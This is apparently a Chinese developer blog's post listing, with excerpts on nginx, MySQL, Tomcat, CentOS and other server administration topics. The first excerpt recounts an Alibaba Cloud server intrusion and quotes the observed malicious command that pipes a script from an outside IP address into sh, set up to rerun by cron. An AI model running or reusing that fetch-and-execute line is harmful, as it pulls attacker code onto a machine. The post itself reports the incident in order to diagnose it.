- 博客(123)
- 收藏
- 关注
原创 记一次阿里云黑客攻击事件
这几天服务器一直发生异常行为,阿里云报警如下:根据执行命令:/bin/sh -c curl -fsSL http://165.225.157.157:8000/i.sh | sh 可知道,后台某个进程一直从这个美国的IP地址下载sh可执行文件访问这个地址:http://165.225.157.157:8000/i.sh看到执行语句如下:大概明白,意思是定时从这个地址获取sh可执行文件,然后添加到定...
2018-04-07 12:36:23 8759 7
原创 服务器推技术 Server Push
技术实现:一、客户端安装Flash,使用Flash XMLSocket;二、基于Java Applet套接口(不足:无法通过JS更新HTML内容);三、基于HTTP长连接的,无需客户端安装插件的技术Comet(彗星):实现模型:(1)基于 AJAX 的长轮询(long-polling)方式实现步骤:1)服务器端会阻塞请求直到有数据传递或超时才返回。2)客户端 JavaScript 响应处理函数会在...
2018-04-06 15:31:06 2050
原创 ngxin server_name实用:配置多个子域名
1 nginx的conf文件可拆分,只需要在nginx.conf中指定路径即可:http节点内指定:include /data/nginx/conf.d/*.conf;2 多个子域名的配置管理:比如yeager.cn域名指向A这个IP地址,公司有api项目,有cms后台管理系统,分别是两个配置文件:/data/nginx/conf.d/api.conf /data
2017-12-15 17:22:09 14331 1
原创 nginx 静态资源访问配置
server { listen 443; server_name localhost; ssl on;# 此处可配置域名访问,默认的首页# root html; #目录# index weixin/index.html;# rewrite ^/ https://www.baidu.co
2017-10-16 15:02:03 1854
原创 centos7 install git
1、下载编译工具yum -y groupinstall "Development Tools" 2、下载依赖包yum -y install zlib-devel perl-ExtUtils-MakeMaker asciidoc xmlto openssl-devel3、下载 Git 最新版本的源代码wget https://www.kernel.org/pub/softwar
2017-08-08 16:33:33 245
原创 spring4 hibernate5配置 getHibernateFlushMode is not valid without active transaction
最近在做spring4和hibernate5的整合不小心出了这个错误,是因为我不小心配置了:hibernate.current_session_context_class = thread 导致的,这使我好好学习了一把如果是单独使用hibernate,那么自然设置最好,因为这会使得hibernate能够从本地线程中getCurrentSession得到同一个session会话
2017-06-17 14:33:19 1302
原创 Linux 内存和CPU占用高的程序
查询内存占用:ps -aux | sort -k4nr | head -K如果是10个进程,K=10,如果是最高的三个,K=3说明:ps -aux中(a指代all——所有的进程,u指代userid——执行该进程的用户id,x指代显示所有程序,不以终端机来区分) ps -aux的输出格式如下:USER PID %CPU %MEM V
2017-06-17 13:44:00 975
转载 Iaas PaaS Saas总结
很好的解释:https://www.zhihu.com/question/20387284如果你是一个网站站长,想要建立一个网站。不采用云服务,你所需要的投入大概是:买服务器,安装服务器软件,编写网站程序。现在你追随潮流,采用流行的云计算,如果你采用IaaS服务,那么意味着你就不用自己买服务器了,随便在哪家购买虚拟机,但是还是需要自己装服务器软件而如果你采用PaaS的服务,
2017-06-07 14:50:59 352
原创 nginx websocket配置
官网链接:http://nginx.org/en/docs/http/websocket.htmllocation /chat/ { proxy_pass http://backend; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header C
2017-06-06 15:23:32 1483
原创 tomcat7,8 centos7 配置apr极好教程
转自:http://blog.csdn.net/remote_roamer/article/details/51719891第一次我自己是用的yum安装apr, apr-utils, tomcat-native,但是启动tomcat的时候,提示我tomcat-native版本过低,所以不得不手动安装,如下:安装apr 1.5.2 下载 http://apache
2017-06-06 14:29:58 2591
翻译 框架设计-普适性-极少化
内核是指最基本最核心的基础模块部分,微内核具有概念极少、通用性极强、代码量极少的特征。 内核要做到"微"极端困难。微内核必定是建立在一个极端高明的抽象之上。第一个难点在于抽象的普适性,一个框架提出或主张一套概念,如果这个抽象概念体系能够涵盖尽可能广泛普遍的需求与场景,才能说具有普适性。从某种意义上讲,普适性也就是 "完备性"。 第二个难点在于抽象概念数量的极少化。例如某套
2017-05-24 15:13:24 733
原创 mysql5.7 创建用户并授权
CREATE USER 'test'@'%' IDENTIFIED BY '123456';GRANT all privileges ON test.* TO 'test'@'%';flush privileges;
2017-05-22 17:09:17 643
原创 https中请求http资源报错Mixed Content
HTTPS页面里动态的引入HTTP资源,比如引入一个js文件,会被直接block掉的.在HTTPS页面里通过AJAX的方式请求HTTP资源,也会被直接block掉的。解决:页面的head中加入:意思是自动将http的不安全请求升级为https
2017-05-14 18:08:21 24074 4
原创 Tomcat memcached-session-manager
项目地址https://code.google.com/archive/p/memcached-session-manager/Sticky Session, Non Sticky Session解释:A tomcat high-availability solution that additionally stores sessions in a memcached comp
2017-04-21 17:50:17 364
原创 linux sheel command
tee 命令详解功能说明:读取标准输入的数据,并将其内容输出成文件语 法:tee [-ai][--help][--version][文件...]linux | 命令详解利用Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入$? 最后运行的命令的结束代码(返回值)echo -e 处理特殊字符单引
2017-04-12 10:37:17 254
原创 centos7 yum mysql5.7 install
卸载centos7默认安装的MariaDB,因为和mysql有冲突#rpm -qa | grep mariamariadb-libs-5.5.52-1.el7.x86_64#yum remove mariadb-libs -y下载最新的mysql官方yum源https://dev.mysql.com/downloads/repo/yum/安装:yum l
2017-04-09 10:47:22 690
原创 linux Git maven Tomcat自动部署脚本
#define envexport JAVA_HOME=/root/installer/jdk/jdk1.8.0_91export MAVEN_HOME="/root/maven/apache-maven-3.3.9"export GIT_URL="[email protected]:summerzhang/pure-operation.git"export GIT_REPO=
2017-04-07 13:52:54 791
原创 linux git ssh配置
安装git配置git config --global user.name ""git config --global user.email ""生成密钥ssh-keygen -t rsa -C "[email protected]"连续三次回车,如果不需要密码的话最后在用户根目录下,看到.ssh/下有id_rsa, id_rsa.pub把id_
2017-04-07 10:30:54 500
原创 linux crontab简单使用
服务启动停止service crond startservice crond stopservice crond restart查看状态crontab -l编辑root用户crontabcrontab -u root -e删除crontab -r
2017-04-07 00:50:15 265
原创 linux 自动获取FTP服务器文件shell
#/bin/bashecho "zg ftp file audto download start"GET_DATE=`date -d '1 days ago' +%Y%m%d`GET_DIR=/home/weihu/zg-ftp-file/txt-fileIP_ADDRESS=172.30.35.5USER_NAME=rxc_ftpUSER_PWD=ZGXT
2017-04-07 00:39:22 2258
原创 centos7 NFS服务安装和使用
NFS服务器端( 10.102.45.38 ):yum -y install nfs-utils rpcbind启动NFS服务:service rpcbind startservice nfs startvim /etc/exports 配置如下:/home/weihu/share/ 10.102.45.*(rw,sync,no_root_squash,n
2017-04-04 16:51:28 1920
转载 wildfly oracle data_source config
http://www.adam-bien.com/roller/abien/entry/installing_oracle_jdbc_driver_on
2017-03-31 14:23:56 172
原创 centos7 telnet安装与使用
yum -y install telnetyum -y instell telnet -serversystemctl enable telnet.socketsystemctl start telnet.socketfirewall-cmd --permanent --add-port=23/tcpfirewall-cmd --reload
2017-03-28 18:20:55 25784
原创 ubuntu Unable to locate package libXp
Unable to locate package libXp最开始以为很简单的这样子:sudo apt-get install libxtst6sudo apt-get install libXpsudo apt-get install libXi6后来发现,没那么简单,安装到libXp的时候报错,而是还要这样子:sudo apt-get install l
2017-03-23 00:13:48 1472
原创 MySQL mytop 安装与监控
---------------------- 安装 ---------------------------1 安装TermReadKey下载地址:http://search.cpan.org/dist/TermReadKey/解压,cd TermReadKeyperl Makefile.PLmakemake testmake install2 安装DBI
2017-03-22 13:31:47 319
原创 MySQL TRIGGER
DROP TRIGGER IF EXISTS ship_update_after_upload;CREATE TRIGGER ship_update_after_uploadAFTER INSERT ON sy_ship_upload_recordFOR EACH ROWBEGINupdate sy_ship set modify_date=CURRENT_TIME, long
2017-03-22 00:23:25 247
原创 centos 7 firewall配置
yum install firewalldsystemctl start firewalld.servicefirewall-cmd --permanent --add-port=8080/tcpfirewall-cmd --reload备注:--permanent 代表永久生效,不然reload之后会失效查看开放的端口:firewall-cmd --list-port
2017-03-10 00:25:50 607
原创 servlet filter实现接口json请求的日志记录
之前做后台管理系统的操作日志记录很简单,就是用spring mvc的interceptor做拦截器,对配置的URL进行判断拦截,最后记录到数据库或者日志但是最近做APP的接口请求拦截,发现不那么简单1 接口使用application/json请求,那么获取参数的时候,就不能用httpServletRequest.getParameterMap(),需要使用httpServletReques
2017-03-08 11:21:15 1559
原创 centos7 升级ssh
gcc:yum install gccopenssl :yum install openssl openssl-devel -ypam :yum -y install pam-devel下载最新的ssh压缩包:openssh-7.4p1.tar.gz解压,执行安装:cd openssh-7.1./configure --prefix=/usr --sysconfdir=/e
2017-03-02 17:12:05 3107
原创 win10 mysql5.7 安装
记录人生中的每一次坑!!Mysql5.7确实太多不同之处,记录一下安装教程参考网上的两篇教程,结合起来,解决安装问题:http://jingyan.baidu.com/article/af9f5a2d16fa4d43150a4552.htmlhttp://blog.csdn.net/luomingjun12315/article/details/50863781
2017-03-01 00:06:50 948 1
原创 centos7 mysql5.7 相关
1 启动systemctl restart mysqld.service2 定时备份#!/bin/bash## 定义变量back_dir=/home/weihu/mysql-bakdate=$(date +%Y%m%d%H%M)## 进入备份目录cd $back_direcho "$(date): begin to backup...
2017-02-28 23:02:00 186
原创 IDEA构建maven项目慢 亲测绝对好的解决方案
1 添加artifactory or nexus service url:http://repo1.maven.org/maven2/archetype-catalog.xml2 新建的时候,设置archetypeCatalogarchetypeCatalog internal
2017-02-27 01:00:33 1544
原创 maven 本地仓库 阿里云仓库配置
C:\Users\Ocean\.m2\repository nexus-aliyun * Nexus aliyun http://maven.aliyun.com/nexus/content/groups/public
2017-02-25 00:27:16 1048
转载 iOS Application Loader上传报错
This bundle is invalid. The CodeResources file must be a symbolic link to _CodeSignature/CodeResources解决:http://blog.csdn.net/hongzehonghgs/article/details/50573580
2017-02-23 19:58:48 541
原创 mysql 5.7 sql_mode设置 坑
1、查看sql_modeselect @@sql_mode查询出来的值为:ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION2、去掉ONLY_FULL_GROUP_BY,重新设
2017-02-22 14:58:29 47875 1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人